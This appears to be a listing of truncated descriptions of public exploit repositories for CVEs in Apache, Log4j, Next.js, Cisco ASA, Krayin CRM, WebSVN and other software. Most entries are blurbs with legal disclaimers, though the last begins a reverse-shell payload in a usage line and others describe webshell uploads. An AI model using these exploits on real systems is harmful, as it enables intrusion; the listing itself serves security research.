mantis_rce

mantisrce Python script to obtain RCE on Mantis Bug Tracker prior to version 1.2.x Check CVE-2008-4687 for additional information...

CVE-2021-46422

CVE-2021-46422 SDT-CW3B1 1.1.0 - OS Command Injection Exploit Title: SDT-CW3B1 1.1.0 - OS Command Injection Vendor Homepage: http://telesquare.co.kr/ CVE : CVE-2021-46422 CVE Description: Telesquare SDT-CW3B1 1.1.0 is affected by an OS command injection vulnerability that allows a remote attacker...

SDT_CW3B1_rce

SDTCW3B1rce CVE-2021-46422 Installation git clone https://github.com/xanszZZ/SDTCW3B1rce cd SDTCW3B1rce Usage Because this tool is a POC written according to the development specification of the pocsuite3 framework. Please download pocsuite3 before using it. Project address...

CVE-2025-59528-PoC

CVE-2025-59528 PoC Python proof-of-concept script for triggering the Flowise CustomMCP RCE path via POST /api/v1/node-load-method/customMCP. ⚠️ For educational and authorized security research only. Running this tool against systems you do not own or lack written permission to test is illegal...

CVE-2021-41773-RedTeam

CVE-2021-41773 — Apache HTTP Server 2.4.49 Path Traversal / RCE ITSOLERA Cybersecurity Department — Red Team Task 3 Team: Offensive Team Zeta Date: 18th March 2026 ⚠️ Disclaimer This repository is for educational purposes only. All testing was performed in an isolated local Docker lab. Never use...

Hoverfly-1.11.3-RCE-CVE-2025-54123-Exploit

CVE-2025-54123 — Hoverfly Middleware API Remote Code Execution Authenticated RCE via OS Command Injection in Hoverfly ≤ 1.11.3 Vulnerability Overview Property| Value ---|--- CVE ID| CVE-2025-54123 CVSS Score| 9.8 — Critical CVSS Vector| CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CWE| CWE-78 OS...

log4j_github_repository

This work includes testing and improvement tools for CVE-2021-44228log4j The purpose of this study is to list useful tools that the blue and red team can use against the Log4j vulnerability. Github links bypass tools, scanning, detection mechanisms, etc. can be used for. Scanning or POC 🔴 Title:...

CVE-2024-28397-Exploit-Automation

CVE-2024-28397 Exploit Automation A Python automation script for exploiting the js2py Sandbox Escape vulnerability CVE-2024-28397. This tool automates the payload generation and delivery process to achieve Remote Code Execution RCE on vulnerable instances. ⚠️ Legal Disclaimer Usage of this tool fo...

CVE-2019-7238

CVE-2019-7238 RCE python3 CVE-2019-7238.py url...

solar-exploiting-log4j

🔥 Solar Exploiting Log4j - TryHackMe Walkthrough 📌 Room: Solar Exploiting Log4j Platform: TryHackMe Difficulty: Medium Topic: Log4Shell Log4j Vulnerability 🧠 Objective Exploit the Log4j vulnerability CVE-2021-44228 to gain remote code execution and capture flags. 🛠️ Tools Used Nmap Burp Suite cURL...

apache2.4.49VulnerableLabSetup

apache2.4.49VulnerableLabSetup CVE-2021-41773, Apache HTTP Server 2.4.49 is vulnerable to Path Traversal and Remote Code execution attacks. This repo is to simulate the vulnerability...

CVE-2025-55182

CVE-2025-55182 React2Shell Exploit Kit 🎯 Complete Working Exploit Demonstration This project provides a fully functional demonstration of CVE-2025-55182 React2Shell - a critical Remote Code Execution vulnerability in React Server Components and Next.js. Status: ✅ WORKING - Achieves actual command...

CVE-2023-2636

CVE-2023-2636...

cve-2025-20333

CVE-2025-20333 - Complete Research & Exploitation Toolkit Overview This directory contains comprehensive research, analysis, and proof-of-concept code for CVE-2025-20333 , a critical stack buffer overflow vulnerability in Cisco ASA/FTD WebVPN servers. Status: ⚠️ Actively exploited in the wild...

CVE-2026-38526-POC

CVE-2026-38526 - Krayin CRM RCE Exploit Krayin CRM ≤ 2.2.x - Unrestricted File Upload leading to Remote Code Execution. This PoC exploits the vulnerable TinyMCE upload endpoint /admin/tinymce/upload to upload a PHP webshell and achieve command execution on the server. Features Full automatic logi...

CVE-2023-27163---Maltrail-0.53---RCE

CVE-2023-27163---Maltrail-0.53---RCE Create by TheAlchimist cve-2023-27163-maltrail.py for reverse shell...

CVE-2022-22954-Testi

CVE-2022-22954-Testing Testing the CVE-2022-22954 Vulnerability VMware Workspace ONE Access and Identity Manager contain a remote code execution vulnerability due to server-side template injection. A malicious actor with network access can trigger a server-side template injection that may result ...

perl_spreadsheet_excel_rce_poc

ParseExcel security vulnerabilitiy TL;DR: RCE from logic in parsing format strings. Short explanation on the exploit Root cause of the exploitation comes from calling eval to an unvalidated user input in Utility.pm...

CVE-2025-55182

CVE-2025-55182 Vulnerability Detection and Exploitation Tool Project Introduction This tool is a GUI tool developed based on Java Swing, used for detecting and exploiting the CVE-2025-55182 vulnerability. This vulnerability is a security flaw in the Next.js framework that allows attackers to...

CVE-2021-32305-websvn-2.6.0

CVE-2021-3205-websvn-2.6.0 This is a exploit of CVE-2021-3205 a web vulnerability to command injection on search.php path, this exploit allows execute commands. Requirements optparse, signal, requests Usage ❯ python3 CVE-2021-3205.py --url http://10.0.2.168/websvn/ --payload "bash -c 'bash -i &...